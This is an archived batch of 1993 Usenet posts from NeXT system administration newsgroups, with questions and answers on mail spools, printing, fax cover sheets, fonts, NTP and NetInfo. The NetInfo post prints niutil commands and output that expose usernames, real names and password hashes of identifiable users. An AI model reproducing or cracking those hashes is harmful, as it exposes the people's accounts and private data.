>Pred Bundalo
-Mike
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From: matthews@oberon.umd.edu (Mike Matthews)
Newsgroups: comp.sys.sun.admin,comp.sys.next.sysadmin
Subject: Using Solaris 2.1 as mail host to BSD machines
Date: 6 Apr 1993 18:23:17 GMT
Organization: University of Maryland, College Park, MD
Distribution: world
Message-ID: <1pshql$31k@umd5.umd.edu>
We're trying to use a SPARC LX running Solaris 2.1 as our mail host to NeXT
and SunOS 4.x machines. I've got /var/mail exported to everybody, who's
mounting it as /usr/spool/mail, and that part seems to work OK.
The problem is, even though the sendmail.cf file (which is a main.cf file
with the asked-for values) specifies mode 0600 for the files, they come out
as mode 660, and when NeXTmail gets it, it becomes mode 4777. Not very secure.
Also, sometimes you get "bad address" errors. SunOS mail can read the spool
file, NeXT /usr/ucb/Mail cannot. 'from' works all the time.
So, I have two questions.
1) what's up with NFS on Solaris 2.1? Is there a way to export with root
permissions?
2) what's up with mail? I have no idea what's going on there.
Any help would be IMMENSELY appreciated. Please reply by Email. Thanks!
------
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------
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From: strobel!till (Tillmann Strobel)
Subject: Re: fax Cover Sheet
Message-ID: <1993Apr5.193905.1781@strobel.cube.de>
Sender: till@strobel.cube.de
Organization: Tillmann Strobel,D-7064 Remshalden 333
Date: Mon, 5 Apr 1993 19:39:05 GMT
In comp.sys.next.sysadmin article <C4tKE8.DxK@northstar.com> you wrote:
> Hello
>
> I am trying to modify the Cover sheet for faxes. I would like to know if
> there is any documentation. I know how to basic things but I would like
> to create a new form so that the phone number of the person I am calling
> is automatically put on the cover sheet.
>
> Is this possible? If so how? Also I would like to format the date into a
> more standard format. Is this possible?
>
> Thanks
> ---
> Ried Thiel NeXTMail ried@northstar.com
> NorthStar Technologies, Inc.
> 15 Maiden Lane Suite 803
> New York NY 10038 212-267-4100 X-160
hi, my name is till
i ad 2 years ago the same problem: 1. you are able to modify the sheet with
your pd drawing prg. draw. the file is located as NeXTlibery>Fax>English.proj.
. You can just modify it, but you are not able to create new fields.
have fun
till strobel , w-7064 remshalden 3 , germany till@strobel.cube.de
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From: eboltz@acoustica.mrd.bldrdoc.gov (Eric S. Boltz)
Subject: NeXTOS and PPD files!?!?!
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Date: Tue, 6 Apr 1993 20:18:17 GMT
I'm frustrated.
I've just installed a Tek Phaser200i printer on our network and I'm having
some problems. I have the correct PPD file and when I go to print a document
I get the option of selecting a paper tray (upper or lower). This option comes
directly from the ppd file. The problem is that NeXTSTEP does NOT insert the
code for paper tray selection unless I save the postscript to disk with the
selection of "Postscript for Chosen Printer".
Is there a way to PRINT with "Postscript for Chosen Printer"????
It's a real pain to print to a file and lpr it every time!
Thanks in advance and my apologies if this is a stupid question,
Eric
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From: karthy@dannug.dk (Karsten Thygesen)
Subject: Re: swapfile.front as vm file. Should I worry
In-Reply-To: nico@imani.cam.org's message of 5 Apr 93 14:14:54 GMT
Message-ID: <KARTHY.93Apr6222123@dannug.dannug.dk>
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References: <1993Apr5.141454.1511@imani.cam.org>
Date: Tue, 6 Apr 1993 21:21:23 GMT
>>>>> On 5 Apr 93 14:14:54 GMT, nico@imani.cam.org (Nicolas Dore) said:
Nicolas> Hi
Nicolas> My machine uses a file named "/private/vm/swapfile.front" for virutal
Nicolas> memory. The file /private/vm/swapfile" exists, but doesn't seem to grow
Nicolas> with memory usage. "/etc/swaptab" defines "/private/vm/swapfile" as the vm
Nicolas> file. I run 3.0 on a single HD '040 Cube, with a PLI 2.88 MB floppy on the
Nicolas> chain.
Nicolas> Now, what is happening? Can I delete "/private/vm/swapfile"? (I guess not)
Nicolas> Can I get my machine to stop using "swapfile.front"?
Well...swapfile.front is used when you machine is using compress on
the swapfile which is most often a good idea (depending on your amount
of memory). You can togle this is /etc/swaptab by giving a compress or
nocompress option.
NeXT has some defaults on when compressing is enabled and not - I can
remember the memory limit, but try to look in Librarian - it's all
documented.
regards,
Karsten.
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From: aru@sonata.cc.purdue.edu (Sri Ramkrishna)
Subject: Help needed setting up sendmail/smail & b/cnews
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Date: Tue, 6 Apr 1993 22:42:37 GMT
First off, a BIG huge thanks to everybody out there who helped point me
in the right direction for setting up a UUCP link! THANKS!
Now I'm working on two more parts of the whole mess: mail and news.
For mail I have been told I really want to use smail, that it's a lot
easier to setup and maintain. Any experiences? Any help in setting it
up? Any comparisons between smail and sendmail+ITA (?)?
As for news, I've read that c-news is much better than b-news. Could
anybody help in pointing me in the right direction here?
Thanks for all the help!
To reach me, mail to either:
kareth@mystic.use.com
towers!mystic!kareth@gator.rn.com
shyoung@ucs.indiana.edu
in that order.
-dsm
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From: gad@eclipse.its.rpi.edu (Garance A. Drosehn)
Subject: Re: NeXTOS and PPD files!?!?!
Message-ID: <9!j59-=@rpi.edu>
References: <C52wEI.KL3@dove.nist.gov>
Date: Wed, 7 Apr 1993 04:05:14 GMT
eboltz@acoustica.mrd.bldrdoc.gov (Eric S. Boltz) writes:
> I'm frustrated.
> I've just installed a Tek Phaser200i printer on our network and I'm
> having some problems. I have the correct PPD file and when I go to
> print a document I get the option of selecting a paper tray (upper
> or lower). The problem is that NeXTSTEP does NOT insert the code
> for paper tray selection unless I save the postscript to disk with
> the selection of "Postscript for Chosen Printer".
>
> Is there a way to PRINT with "Postscript for Chosen Printer"????
> It's a real pain to print to a file and lpr it every time!
>
> Thanks in advance and my apologies if this is a stupid question,
Not a particularly stupid question. I suspect your setup is similar to
mine, where your printer is being driven by something other than the NeXT.
For instance, my NeXT sends printouts for a Phaser printer to a sun to
print, via CAP.
The NeXT you are printing from assumes the printer is being driven off a
NeXT, and thus it doesn't insert anything in the standard postscript stream.
This would be a sensible decision, at least (given the assumption that a
NeXT is driving the printer).
In my case, the printer is actually being driven by CAP, and CAP doesn't
have a clue about PPD files. So, there's no option but to do the "Print ->
Save postscript for chosen printer -> lpr" dance...
--
Garance Alistair Drosehn = gad@eclipse.its.rpi.edu
ITS Systems Programmer (handles NeXT-type mail)
Rensselaer Polytechnic Institute; Troy NY USA
Newsgroups: comp.sys.next.sysadmin
From: jazz!craig (Craig Bustrin)
Subject: Re: How long can a NeXT printer cable REALLY be???
Message-ID: <1993Apr6.151054.21085@object.com>
Sender: craig@object.com
Organization: Objective Technologies,Inc.
References: <1993Apr5.050305.28109@thunder.mcrcim.mcgill.edu>
Date: Tue, 6 Apr 93 15:10:54 GMT
In article <1993Apr5.050305.28109@thunder.mcrcim.mcgill.edu>
hogan@boetius.rz-berlin.mpg.de (Kharim Hogan) writes:
> Hi,
>
> We are needing to attach a NeXT laser printer to a NeXT that is about
> 40 feet away. Is there any way to do this? i.e. can one buy a cable
> that long or have one made somewhere or is this even possible? What's
> the longest length such a cable can be? FAQs say that the printer cable
> can't be longer than the one supplied by NeXT. Is this really the final
> word?
I didn't know that there was supposed to be a limit to the printer cable length
when I had a 25 foot extension made... In my experience, it works just fine
thank you!
I've no idea about a 40 foot length, but the original cable plus my 25 foot
extension is getting pretty close.
Just my personal experience. As usual, your mileage...
Craig Bustrin
Newsgroups: comp.sys.next.sysadmin
From: ed@talus.com
Subject: csh + cu or tip question.
Message-ID: <1993Apr7.052802.1453@talus.com>
Sender: ed@talus.com
Organization: Talus Corporation
Date: Wed, 7 Apr 1993 05:28:02 GMT
Hi guys, at my university we have a couple of line (50) which we can use to dial into the VAXs. I
often have to do some homework in that fine VAX assembly language and would love an automatic
procedure to dial in from my NeXT to the 749-77(50-99) lines.
Right now I am using kermit and am typing manually:
dial 7497750
and wait until I get the damn BUSY answer then ...
dial 7497751
then....
Would it be possible to create a csh script that would try each line from 50 to 99 until it reaches a line
which is not busy ? Should I use tip or cu ?
What do you recommend ? Any pointer would be appreciated.
Ed.
--
Erik Dasque "The French Guy" · Talus Corporation
We are so very far from home. All of us.
Newsgroups: comp.sys.next.sysadmin
Subject: Re: fax Cover Sheet
Message-ID: <1993Apr7.073108.27873@urz.unibas.ch>
From: frank@ifi.unibas.ch (Robert Frank)
Date: Wed, 7 Apr 1993 07:31:08 GMT
Sender: news@urz.unibas.ch (USENET News System)
References: <1993Apr5.193905.1781@strobel.cube.de>
Organization: Institut fuer Informatik
In article <1993Apr5.193905.1781@strobel.cube.de> writes:
> In comp.sys.next.sysadmin article <C4tKE8.DxK@northstar.com> you wrote:
> > Hello
> >
> > I am trying to modify the Cover sheet for faxes. I would like to know if
> > there is any documentation. I know how to basic things but I would like
> > to create a new form so that the phone number of the person I am calling
> > is automatically put on the cover sheet.
> >
> > Is this possible? If so how? Also I would like to format the date into a
> > more standard format. Is this possible?
> >
> > Thanks
> > ---
> > Ried Thiel NeXTMail ried@northstar.com
> > NorthStar Technologies, Inc.
> > 15 Maiden Lane Suite 803
> > New York NY 10038 212-267-4100 X-160
>
> hi, my name is till
> i ad 2 years ago the same problem: 1. you are able to modify the sheet with
> your pd drawing prg. draw. the file is located as
> NeXTlibery>Fax>English.proj.
If your language is English.
> .. You can just modify it, but you are not able to create new fields.
> have fun
Oho, quite wrong, you can create new fields, as many as you want to. You can
then fill them in with whatever you want just before sending a fax.
> till strobel , w-7064 remshalden 3 , germany till@strobel.cube.de
--
Robert Frank tel. + (061) 321 99 67
Institut fuer Informatik fax + (061) 321 99 15
University of Basel, Switzerland
Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted)
CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
( if all fails try frank@urz.unibas.ch )
From: jacquot@lirmm.lirmm.fr (Michel Jacquot)
Newsgroups: comp.sys.next.sysadmin
Subject: News reader wanted
Date: 25 Mar 1993 09:39:02 GMT
Organization: LIRM Montpellier France
Sender: jacquot@lirmm (Michel Jacquot)
Distribution: world
Message-ID: <1orujm$s45@lirmm.lirmm.fr>
Hello,
I am looking for a freeware News reader on NeXT.
Thanks for the answers, and excuse-me if this question
has been asked 1 million times or is in a FAQ.
Michel
--
Michel Jacquot jacquot@lirmm.fr
LIRMM, 161 rue ADA, 34392 Montpellier Cedex 5 FRANCE
Tel (33) 67 14 85 94 Fax (33) 67 14 85 00
Newsgroups: comp.sys.next.sysadmin
From: herring@iesd.auc.dk (B. Erickson Herring)
Subject: Re: fax Cover Sheet
In-Reply-To: frank@ifi.unibas.ch's message of Wed, 7 Apr 1993 07:31:08 GMT
Message-ID: <HERRING.93Apr7141358@fermat.iesd.auc.dk>
Sender: news@iesd.auc.dk (UseNet News)
Organization: Mathematics and Computer Science, Aalborg University
References: <1993Apr5.193905.1781@strobel.cube.de>
<1993Apr7.073108.27873@urz.unibas.ch>
Date: 07 Apr 1993 13:13:57 GMT
Till is : till strobel <germany till@strobel.cube.de>
Robert is: Robert Frank <frank@ifi.unibas.ch>
Till> hi, my name is till i ad 2 years ago the same problem: 1. you
Till> are able to modify the sheet with your pd drawing prg. draw. the
Till> file is located as NeXTlibery>Fax>English.proj.
Robert> If your language is English.
Till> .. You can just modify it, but you are not able to create new
Till> fields. have fun
Robert> Oho, quite wrong, you can create new fields, as many as you
Robert> want to. You can then fill them in with whatever you want just
Robert> before sending a fax.
Please don't edit files in system directories, even it is a
single-user machine. It is just asking for trouble. Any "draw" file
that is placed in one of:
~/Library/Fax
/LocalLibrary/Fax
will show up in the popup-list on the cover sheet panel. This is
accessed by choosing the "Edit" button just before sending the fax.
I posted a rather long article on customizing cover sheets, but I
can't find it. Maybe some kind soul can re-post it (he says,
blithely assuming that someone found it worth saving... :-) and it
can, perhaps, be added to the FAQ.
Erick
--
-----
Erick Herring | Computation is the art of carefully throwing
NeXT Salg og Teknik | away information [and] Life is the art of
Polyteknisk Data, | carefully throwing away opportunities, an
Lyngby, Danmark | interesting coincidental parallel.
herring@pd.dth.dk | - Guy L. Steele Jr.
Newsgroups: comp.sys.next.sysadmin
From: rob@polestar.facl.mcgill.ca (Robert Macfarlane)
Subject: Re: NetWare gone...
Message-ID: <1993Apr7.132944.29018@sifon.cc.mcgill.ca>
Sender: news@sifon.cc.mcgill.ca
Organization: McGill University
References: <2BC0A285.15650@news.service.uci.edu>
Date: Wed, 7 Apr 1993 13:29:44 GMT
In article <2BC0A285.15650@news.service.uci.edu>
rmyers@dec5200.acs.uci.edu (Richard Myers) writes:
> We had NetWare running fine for about a week. Now when we log on all
> we see is the volume 'SYS'.
> lr-xr-xr-t 2 root 1024 Apr 5 13:43 /Net/NetWare/LDS2/SYS ->
(automount)@
> I can't see anything there, nor can I change to that directory. I have
> plenty of rights on the Novell box. The Novell is Arcnet+10baseT.
> NetWare 3.11, 20 user (with space to log on).
> Please mail tips on how to see the files on the server.
> Thanks,
> Kurt
Reboot (the NeXT) and try again. That works for me.
I see this problem quite frequently. Anybody know why?
Rob Macfarlane
Faculty of Arts Computer Lab
McGill University
From: heading@signal.dra.hmg.gb (Anthony J.R. Heading)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NeXTOS and PPD files!?!?!
Date: 7 Apr 1993 14:27:22 +0100
Organization: Defence Research Agency
Message-ID: <1pukrqINN6r0@liszt.dra.hmg.gb>
References: <C52wEI.KL3@dove.nist.gov> <9!j59-=@rpi.edu>
This really isn't that tricky. All that should be necessary is
to tweak printcap a little to add a filter which reads the
PPD files and inserts the proper code. I've written such a
filter in perl and it works fine for the exact I've got.
If anyone is really interested, then mail me and I'll tidy the
code up and send it to them.
Anthony
-----------------
Defence Research Agency, UK
From: rhess@consilium.COM (Richard L. Hess)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: /etc/mtab? and the auto-diskmounter? and booting?
Message-ID: <RHESS.93Apr7072010@consilium.COM>
Date: 7 Apr 93 14:20:10 GMT
References: <1993Mar29.200213.160239@zeus.calpoly.edu>
<1993Mar30.001253.12872@vax.oxford.ac.uk>
Sender: root@cimshop.UUCP
Followup-To: comp.sys.next.sysadmin
Organization: Consilium Inc., Mountain View, California.
In-reply-to: mcm@vax.oxford.ac.uk's message of 29 Mar 93 23:12:53 GMT
Here's something that I posted about this problem in January.
+---------------------------------------------------[ forwarded message ]
From: rhess@consilium.COM (Richard L. Hess)
Date: 25 Jan 93 09:35:44
In-reply-to: davisre@sage.cc.purdue.edu's message of 23 Jan 93 00:01:36 GMT
Newsgroups: comp.sys.next.bugs
Subject: Re: /etc/mtab permissions
>>>>> "Robert" == Robert Davis <davisre@sage.cc.purdue.edu> writes:
Robert> This may have been mentioned before (I recently upgraded to
Robert> 3.0), but is there a workaround or fix for this: ejecting a mounted
Robert> floppy changes the permissions of /etc/mtab so that you can't do a df.
I had the same problem. It took me a while to figure it out, but I'd bet
that you have very tight permissions set on your "File Creation Mask". If
you just use "Expert Preferences" (Unix) in the Preferences tool to open up
your permissions to allow "Group" & "Others" Read access, then you won't have
any problems with the permissions changing on /etc/mtab. Evidently when the
eject script/program executes it runs as root and uses your default
permissions and so if your permissions are too "tight" you can't read
/etc/mtab after the floppy get's ejected. Hope this helps,
Dick...
ps. I don't remember whether it was ejecting Macintosh or DOS format floppies
that caused this problem, but one worked and the other didn't and I never
had problems with the NeXT (Unix) format floppies...
+---------------------------------------------------[ End forwarded message ]
Hope this helps,
Dick...
+----------------------------------------------------------
WHO: Richard Hess [ Staff Engineer ]
CORP: Consilium Inc, 640 Clyde Court, Mtn View, CA 94043
VOICE: [415] 691-6342
EMAIL: rhess@consilium.COM <-----------------[ NeXTmail ]
+
Newsgroups: comp.sys.next.sysadmin
From: Michael_Pizolato@afs.com
Subject: Re: fax Cover Sheet
Message-ID: <1993Apr7.141121.1678@afs.com>
Sender: Michael_Pizolato@afs.com
References: <C4tKE8.DxK@northstar.com>
Distribution: usa
Date: Wed, 7 Apr 1993 14:11:21 GMT
In article <C4tKE8.DxK@northstar.com> ried@northstar.com (A Ried Thiel)
writes:
> I am trying to modify the Cover sheet for faxes. I would like to know if
> there is any documentation. I know how to basic things but I would like
> to create a new form so that the phone number of the person I am calling
> is automatically put on the cover sheet.
>
> Is this possible? If so how? Also I would like to format the date into
> a more standard format. Is this possible?
I copied the file /NextLibrary/Fax/English.lproj/Cover.draw into
~/Library/Fax/MRPCover.draw. You can modify it any way you like, and it
appears as one of the cover letter choices when you press Edit from the
Fax panel. In fact, since I only have one file in that directory, it
comes up as the default choice.
Note that you can't put it in ~/Library/Fax/English.lproj because it
won't come up as a choice as above. At least that's true on my system;
I'm running NS3.0. Also, I don't recommend changing the original
/NextLibrary/Fax/English.lproj/Cover.draw directly, just because I have
a sysadmin's healthy fear of touching anything from the vendor.
Override it with a local copy, yes, but don't change the original.
Hope this helps,
Michael
--
Michael_Pizolato@afs.com If you can't control your peanut
~18 kyu butter, how can you expect to
Q16 control the rest of your life?
NeXTMail appreciated - Calvin
Newsgroups: comp.sys.next.sysadmin
From: eboltz@acoustica.mrd.bldrdoc.gov (Eric S. Boltz)
Subject: Re: NeXTOS and PPD files!?!?!
Message-ID: <C54GLq.6IA@dove.nist.gov>
Sender: news@dove.nist.gov
Organization: NIST
References: <9!j59-=@rpi.edu>
Date: Wed, 7 Apr 1993 16:32:12 GMT
In article <9!j59-=@rpi.edu> gad@eclipse.its.rpi.edu (Garance A. Drosehn)
writes:
> eboltz@acoustica.mrd.bldrdoc.gov (Eric S. Boltz) writes:
> > I'm frustrated.
> > I've just installed a Tek Phaser200i printer on our network and I'm
> > having some problems. I have the correct PPD file and when I go to
> > print a document I get the option of selecting a paper tray (upper
> > or lower). The problem is that NeXTSTEP does NOT insert the code
> > for paper tray selection unless I save the postscript to disk with
> > the selection of "Postscript for Chosen Printer".
> >
> > Is there a way to PRINT with "Postscript for Chosen Printer"????
> > It's a real pain to print to a file and lpr it every time!
>
> The NeXT you are printing from assumes the printer is being driven off a
> NeXT, and thus it doesn't insert anything in the standard postscript stream.
> This would be a sensible decision, at least (given the assumption that a
> NeXT is driving the printer).
>
> In my case, the printer is actually being driven by CAP, and CAP doesn't
> have a clue about PPD files. So, there's no option but to do the "Print ->
> Save postscript for chosen printer -> lpr" dance...
Now doesn't this NeXT behavior fall in the category of 'REALLY STUPID'?
Most NeXTs are networked and most networks share printers.
Only a fool would hang a non-NeXT, network printer of a serial-ports-only NeXT!
Our Phaser 200i has it's own TCP/IP box on the ethernet. Print jobs spool over
in a couple seconds - very nice.
Why would the NeXT think the printer is local? The printcap specifically states
the rm= parameter. How hard could it be for NeXT to do the
Save postscript for chosen printer -> lpr" dance at the OS level so the user
doesn't have to hassle with it every time!?
Eric
--
Eric S. Boltz, M.S.E. *eboltz@nist.gov*
Materials Research Engineer eboltz@jhunix.hcf.jhu.edu
National Institute of Standards and Technology eboltz@tiber.nist.gov
(Ph.D. Candidate, Johns Hopkins University)
My views, opinions and statements in no way reflect those of the U.S. Gov't,
the U.S. Department of Commerce or NIST.
From: disc@vector.intercon.com (David Casti)
Newsgroups: comp.sys.next.sysadmin,comp.mail.elm
Subject: compiling elm 2.4 under NS 3.0
Date: 6 Apr 1993 20:44:57 GMT
Organization: InterCon Systems Corporation - Herndon, VA USA
Message-ID: <1psq4a$80b@news.intercon.com>
Hi,
I'm trying to compile elm version 2.4 under NeXTStep 3.0 and it dies
consistently on
cc -bsd -fwritable-strings -I../hdrs -c add_site.c
./hdrs/defs.h:505: header file 'unistd.h' not found
*** Exit 1
Stop.
*** Exit 1
Stop.
no matter what I seem to do. I don't have a "unistd.h" file anywhere on
my drive, and I can't find a NeXT box that does have it...
Can someone help?
Thanks,
David.
=============================================================================
David Casti Internet: disc@vector.intercon.com
Technical Support Engineer
InterCon Systems Corporation Phone: (703) 709-5554
950 Herndon Parkway, Suite 420 FAX: (703) 709-5555
Herndon, Virginia 22070
=============================================================================
No official InterCon correspondence will ever have vector.intercon.com
as the return address.
=============================================================================
Newsgroups: comp.sys.next.sysadmin
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn)
Subject: Re: NeXTOS and PPD files!?!?!
Message-ID: <8tj51-l@rpi.edu>
References: <C54GLq.6IA@dove.nist.gov>
Date: Wed, 7 Apr 1993 17:59:56 GMT
eboltz@acoustica.mrd.bldrdoc.gov (Eric S. Boltz) writes:
> gad@eclipse.its.rpi.edu (Garance A. Drosehn) writes:
> > eboltz@acoustica.mrd.bldrdoc.gov (Eric S. Boltz) writes:
> > > The problem is that NeXTSTEP does NOT insert the code for
> > > paper tray selection unless I save the postscript to disk
> > > with the selection of "Postscript for Chosen Printer".
> >
> > The NeXT you are printing from assumes the printer is being driven off
> > a NeXT, and thus it doesn't insert anything in the standard postscript
> > stream. This would be a sensible decision, at least (given the
> > assumption that a NeXT is driving the printer).
>
> Now doesn't this NeXT behavior fall in the category of 'REALLY STUPID'?
Um, no, not *really* stupid. It's certainly not as good an implementation
as one would like for a mixed-vendor environment, but then *many* computer
companies make assumptions that don't work well in a mixed-vendor
environment.
> Most NeXTs are networked and most networks share printers.
> Only a fool would hang a non-NeXT, network printer of a
> serial-ports-only NeXT!
You're forgetting the appletalk card. I can get at all kinds of
laserwriters from my NeXT via Appletalk (theoretically at least). I expect
that the NeXT does the right thing when printing thru Appletalk, though I
must admit I haven't tried that.
A NeXT is *not* serial-ports-only, after all...
> Why would the NeXT think the printer is local? The printcap specifically
> states the rm= parameter. How hard could it be for NeXT to do the
> Save postscript for chosen printer -> lpr" dance at the OS level so
> the user doesn't have to hassle with it every time!?
Note that I did not say the printer is *local*, I just said the assumption
was that the machine which *did* do the printing was a NeXT running NS3.0.
I have two NeXT's on my desk, for instance. One could have the rm=
parameter which just pointed at the other one. As long as the final
destination is a NeXT, all NeXT's assumptions probably workout okay.
On the other hand, I do live in a multi-vendor environment too, and the
underlying assumption of the current NeXT printer support is a bit of a
hassle. I wonder if there's some way to get it to stick in the appropriate
postscript code before shipping it over the wire to some other machine for
printing. I must admit I haven't looked at it too closely.
--
Garance Alistair Drosehn = gad@eclipse.its.rpi.edu
ITS Systems Programmer (handles NeXT-type mail)
Rensselaer Polytechnic Institute; Troy NY USA
From: kwang@data.acs.calpoly.edu (Kevin John Wang)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: NetInfo
Keywords: ni_list()
Message-ID: <1993Apr07.193003.199585@zeus.calpoly.edu>
Date: 7 Apr 93 19:30:03 GMT
Sender: news@zeus.calpoly.edu
Organization: Cal Poly State University, San Luis Obispo
We recently shifted our domain from
/
/<clients>
to a 3-tier domain:
/
/network
/network/<clients>
However, several of our utilities use the ni_list() function call and now
none of them work. they simply "stop" or come up with incomplete entries.
Here's how we moved the users:
echo greg
niutil -create / /users/greg
niutil -createprop / /users/greg realname "Greg Junell"
niutil -createprop / /users/greg ssn
niutil -createprop / /users/greg department
niutil -createprop / /users/greg diskquota 4000
niutil -createprop / /users/greg uid 1015
niutil -createprop / /users/greg gid 400
niutil -createprop / /users/greg advisor
niutil -createprop / /users/greg passwd 0g1.UusYleFK2
niutil -createprop / /users/greg home /home/data/u2/greg
niutil -createprop / /users/greg shell /usr/local/bin/tcsh
niutil -createprop / /users/greg _writers_passwd greg
niutil -create / /users/greg/info
niutil -createprop / /users/greg/info _writers greg
and ever since, our code now outputs:
1:shorio:ShigenoriHorio:None:None:3000:1169:374:None:2zP5AOb10C/cM:/data/h
ome/u4/shorio:/usr/local/bin/tcsh
2:mdeale:RussTheStuddTeasdale:=:=:=:647:371:=:qWcnQ9neDPsEw:/home/data/u3/
mdeale:/bin/csh
3:greg:AdamPeterWozniak:=:=:=:13431:371:=:mrbJBjb3qO3Cg:/home/data/u2/greg
:/usr/local/bin/tcsh
4:derickso:LeongDavid:=:=:=:858:371:=:.W9TkNhDkzv52:/home/data/u2/derickso
:/bin/csh
..
109:nfang:=:-:=:=:=:=:-:=:/home/data/u3/jgoodwin:/usr/local/bin/tcsh
110:rteasdal:=:=:=:=:=:=:=:=:/home/data/u4/nfang:/usr/local/bin/tcsh
111:awozniak:=:=:=:=:=:=:=:=:/home/data/u2/awozniak:/usr/local/bin/tcsh
as you can see, for some reason, rteasdal's name is the only one that
shows up between mdeal and rteasdal... and there is no "error" from
ni_error...
nor is there an "empty" notification.
the - indicates that there is no field by that name, in this case, it's
the "advisor" field. and the = indicates that the "ni_listlen" is shorter
than the array offset...
help?
- Kevin Wang
From: jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd)
Newsgroups: comp.sys.next.sysadmin
Subject: Only half of my fonts show up on panel... what gives?
Summary: Need help with buildafmdir munging my fonts
Keywords: Fonts, Type 1, NeXT, buildafmdir, shish-ke-bob
Message-ID: <1993Apr8.043504.2831@galileo.cc.rochester.edu>
Date: 8 Apr 93 04:35:04 GMT
Sender: news@galileo.cc.rochester.edu
Organization: University of Rochester - Rochester, New York
I've just moved a bunch of fonts from my Macs to my NeXT with Trilithon's
MacToPfa program (a very good buy, I must say) but I'm having some problems
with what I assume is an OS glitch: everything worked dandily when I had the
new fonts installed in my ~/Library/Fonts. They showed up properly, and I
was able to use them. However, when I made myself root and copied them all
over to the system /NextLibrary/Fonts, things went astray. After deleteing
and rebuilding the .fontdirectory and .fontlist with buildafmdir, only the
fonts down to my "O" fonts would show up on the font panel. I only have
about 140 fonts total on the system, so I'm not over the limit. I deleted
and rebuilt .font[list,directory] twice, and I even ran cacheAFMData. No
luck. Any hints?
--
John Todd | University of Rochester, Rochester NY USA Earth Milky Way
CPU 276686 | "Charracter is whata you arre ina the dark!" - E. Lizardo
Rochester NY 14627| Jeeps Bought/Sold * Dictators Overthrown * Bombs Defused
jtod@alora.cc.rochester.edu (NeXT mail) jtod_ltd@uhura.cc.rochester.edu
Newsgroups: comp.sys.next.sysadmin
Subject: network time
Message-ID: <1993Apr8.072555.27105@urz.unibas.ch>
From: frank@ifi.unibas.ch (Robert Frank)
Date: Thu, 8 Apr 1993 07:25:55 GMT
Sender: news@urz.unibas.ch (USENET News System)
Organization: Institut fuer Informatik
Keywords: ntp
Argh, now I know why PB is causing me troubles: my ntpd isn't doning it's job.
So files accessed through nfs don't have the right time stamp.
Now, the big question is, why isn't ntpd working correctly. I have 'network'
time enabled in the host manager and ntpd _is running_. But my local clock is
always out of sync with the nfs server's clock. Even if I explicitly resync
with the preferences, nothing happens.
Any guesses, solutions?
-Robert
--
Robert Frank tel. + (061) 321 99 67
Institut fuer Informatik fax + (061) 321 99 15
University of Basel, Switzerland
Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted)
CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
( if all fails try frank@urz.unibas.ch )
Newsgroups: comp.sys.next.sysadmin
Subject: Re: fax Cover Sheet
Message-ID: <1993Apr8.072212.26073@urz.unibas.ch>
From: frank@ifi.unibas.ch (Robert Frank)
Date: Thu, 8 Apr 1993 07:22:12 GMT
Sender: news@urz.unibas.ch (USENET News System)
References: <1993Apr7.141121.1678@afs.com>
Distribution: usa
Organization: Institut fuer Informatik
In article <1993Apr7.141121.1678@afs.com> writes:
> In article <C4tKE8.DxK@northstar.com> ried@northstar.com (A Ried Thiel)
> writes:
> > I am trying to modify the Cover sheet for faxes. I would like to know if
> > there is any documentation. I know how to basic things but I would like
> > to create a new form so that the phone number of the person I am calling
> > is automatically put on the cover sheet.
> >
> > Is this possible? If so how? Also I would like to format the date into
> > a more standard format. Is this possible?
>
> I copied the file /NextLibrary/Fax/English.lproj/Cover.draw into
> ~/Library/Fax/MRPCover.draw. You can modify it any way you like, and it
> appears as one of the cover letter choices when you press Edit from the
> Fax panel. In fact, since I only have one file in that directory, it
> comes up as the default choice.
>
> Note that you can't put it in ~/Library/Fax/English.lproj because it
> won't come up as a choice as above. At least that's true on my system;
> I'm running NS3.0. Also, I don't recommend changing the original
> /NextLibrary/Fax/English.lproj/Cover.draw directly, just because I have
> a sysadmin's healthy fear of touching anything from the vendor.
> Override it with a local copy, yes, but don't change the original.
>
> Hope this helps,
> Michael
>
> --
> Michael_Pizolato@afs.com If you can't control your peanut
> ~18 kyu butter, how can you expect to
> Q16 control the rest of your life?
> NeXTMail appreciated - Calvin
All nice suggestions, unless you are a systemmanger and responsible for a
system wide, unified fax cover. In this case I WILL (copy and then) edit
directly in the system directories.
--
Robert Frank tel. + (061) 321 99 67
Institut fuer Informatik fax + (061) 321 99 15
University of Basel, Switzerland
Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted)
CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
( if all fails try frank@urz.unibas.ch )
From: A4422DAE@vm.univie.ac.at (Konrad Neuwirth)
Newsgroups: comp.sys.next.sysadmin
Subject: Support of non-postscript lasers?
Date: Thu, 08 Apr 93 14:02:09 MEZ
Organization: University of Vienna
Message-ID: <16BAAC565.A4422DAE@vm.univie.ac.at>
I need help once more (btw: thanks to all who responded to my
loginwindow problem). I currently am getting the cables to conect
my printer(s) to my next. unfortunatly, both my HP LaserJet II clone
and my LJ 4 are non-postscript and I've been unable to find drivers
for the printers on cs.orst.edu. can anybody help me out, please?
//konrad
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
From: gds@cs.uct.ac.za (Riel Smit)
Subject: Booting with broken internal drive
Message-ID: <gds.734272673@sun-3>
Sender: news@cs.uct.ac.za (news)
Organization: Computer Science Department, University of Cape Town
Date: Thu, 8 Apr 1993 12:37:53 GMT
How do you boot your NeXTstation if the only device on which you have a
boot image went bust? (It won't help to say "you can't" and tell me I
should have been a better sys.admin -- I'm not a sys.admin even though I
sometimes end up admin-ing a system. No wonder I get into these
predicaments :-)
When I boot "my" NextStation I get the following:
booting SCSI target 1, lun 0
blk0 boot: sd()sdmach
Booting from SCSI target 1 lun 0
READ: bad status detected in sdcmd: 0
sd()sdmach: read error
blk0 boot: sd()sdmach
Booting from SCSI target 1 lun 0
READ: bad status detected in sdcmd: 0
sd()sdmach: read error
Can't load blk0 boot
which tells me I might have some serious disk problem. I have backups (not
as recent as I would have wanted, but I'll survive :-) The problem is I
cannot boot a system that would allow me to do an fsck and/or restore.
